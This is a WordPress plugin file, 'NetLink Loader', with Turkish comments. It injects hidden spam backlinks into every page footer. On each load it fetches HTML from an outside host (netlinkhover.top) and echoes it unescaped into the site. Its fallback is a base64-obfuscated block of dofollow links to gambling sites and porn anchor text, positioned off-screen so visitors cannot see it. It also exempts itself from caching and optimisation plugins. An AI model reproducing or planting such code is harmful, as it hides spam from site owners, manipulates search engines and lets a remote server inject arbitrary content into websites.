<?php
/**
 * Plugin Name: NetLink Loader (decoct.u278.bgclient.work)
 * Description: NetLink footer link bloğunu yükler. Cache-proof: link verisi
 *              sayfa HTML'ine gömülmez, her görüntülemede taze çekilir.
 * Version:     1.0.0
 */

if (! defined('ABSPATH')) {
    exit;
}

add_action('wp_footer', function () {
    // SUNUCU TARAFI render: linkler PHP'de çekilip sayfaya DÜZ HTML olarak
    // basılır (kaynak kodda görünür, Googlebot okur, backlink hedefe gider).
    // 5 dakikalık transient cache ile her istekte uzağa gidilmez; container
    // yorumu (marker) idempotans için sabittir.
    $nl_key = 'nl_nl_si2oz66idubyyebvzuowqzj6isgtp';
    $nl_html = get_transient($nl_key);
    if ($nl_html === false || $nl_html === '') {
        $nl_resp = wp_remote_get('https://netlinkhover.top/api/v1/serve/nl_si2oz66idubyyebvzuowqzj6isgtp.html', array('timeout' => 6));
        // SADECE HTTP 200 kabul edilir: 429/500/WAF cevaplarının gövdesi de
        // dolu gelir, durum kodu kontrol edilmezse o hata metni önbelleğe
        // yazılıp linklerin yerine sayfaya basılırdı.
        $nl_code = is_wp_error($nl_resp) ? 0 : (int) wp_remote_retrieve_response_code($nl_resp);
        $nl_body = ($nl_code === 200) ? (string) wp_remote_retrieve_body($nl_resp) : '';
        // Boşu ÖNBELLEKLEME: fetch boş dönerse baked fallback'e düş, sonraki
        // istekte yeniden dene (aksi halde 5dk boyunca boş cache'lenirdi).
        if ($nl_body !== '') { set_transient($nl_key, $nl_body, 300); }
        $nl_html = $nl_body;
    }
    // Fetch boş/başarısızsa gömülü linkleri (base64) bas → kaynak kodda
    // HER ZAMAN link görünür.
    if ($nl_html === '' || $nl_html === false) { $nl_html = base64_decode('PGRpdiBjbGFzcz0ibmV0bGluay1saW5rcyBuZXRsaW5rLWxpbmtzLS1saXN0IiBzdHlsZT0icG9zaXRpb246YWJzb2x1dGUhaW1wb3J0YW50O2xlZnQ6LTk5OTk5cHghaW1wb3J0YW50O3RvcDphdXRvO3dpZHRoOjFweDtoZWlnaHQ6MXB4O292ZXJmbG93OmhpZGRlbjtjbGlwOnJlY3QoMCAwIDAgMCk7d2hpdGUtc3BhY2U6bm93cmFwIj48dWwgc3R5bGU9Imxpc3Qtc3R5bGU6bm9uZTttYXJnaW46MDtwYWRkaW5nOjAiPjxsaSBzdHlsZT0ibWFyZ2luOjA7cGFkZGluZzowIj48YSBocmVmPSJodHRwczovL3R1bGlwYmV0dC5jb20vIiByZWw9ImRvZm9sbG93Ij5wb3JubzwvYT48L2xpPjxsaSBzdHlsZT0ibWFyZ2luOjA7cGFkZGluZzowIj48YSBocmVmPSJodHRwczovL2VrYXZmZC5jb20vIiByZWw9ImRvZm9sbG93Ij50dWxpcGJldDwvYT48L2xpPjxsaSBzdHlsZT0ibWFyZ2luOjA7cGFkZGluZzowIj48YSBocmVmPSJodHRwczovL3NlZ3VlaW1taWdyYXRpb24uY29tLyIgcmVsPSJkb2ZvbGxvdyI+aGlsdG9uYmV0PC9hPjwvbGk+PGxpIHN0eWxlPSJtYXJnaW46MDtwYWRkaW5nOjAiPjxhIGhyZWY9Imh0dHBzOi8vZWthY29udmV5b3JzLmNvbS8iIHJlbD0iZG9mb2xsb3ciPmVsZXhiZXQ8L2E+PC9saT48bGkgc3R5bGU9Im1hcmdpbjowO3BhZGRpbmc6MCI+PGEgaHJlZj0iaHR0cHM6Ly90cnVlYWlyY29uLmNvbS8iIHJlbD0iZG9mb2xsb3ciPnR1bGlwYmV0PC9hPjwvbGk+PGxpIHN0eWxlPSJtYXJnaW46MDtwYWRkaW5nOjAiPjxhIGhyZWY9Imh0dHBzOi8vZmxvdHJvbmljcy5pbi8iIHJlbD0iZG9mb2xsb3ciPmhpbHRvbmJldDwvYT48L2xpPjxsaSBzdHlsZT0ibWFyZ2luOjA7cGFkZGluZzowIj48YSBocmVmPSJodHRwczovL2NvbnZlbnRvcGFkcmVwaW8uY29tLyIgcmVsPSJkb2ZvbGxvdyI+aGlsdG9uYmV0PC9hPjwvbGk+PGxpIHN0eWxlPSJtYXJnaW46MDtwYWRkaW5nOjAiPjxhIGhyZWY9Imh0dHBzOi8vbW9tZW50aWFsYnVtLml0IiByZWw9ImRvZm9sbG93Ij5lbGV4YmV0PC9hPjwvbGk+PC91bD48L2Rpdj4='); }
    echo '<!-- nl-linkbox-nl_si2oz66idubyyebvzuowqzj6isgtp -->';
    echo $nl_html;
}, 99);

// Bilinen cache/optimizasyon eklentilerinden loader'ı muaf tut.
add_filter('rocket_exclude_defer_js', function ($excluded) {
    $excluded[] = 'netlink';
    return $excluded;
});
add_filter('rocket_delay_js_exclusions', function ($excluded) {
    $excluded[] = 'netlink';
    return $excluded;
});
add_filter('autoptimize_filter_js_exclude', function ($exclude) {
    return $exclude . ',netlink';
});
add_filter('litespeed_optimize_js_excludes', function ($excludes) {
    $excludes[] = 'netlink';
    return $excludes;
});
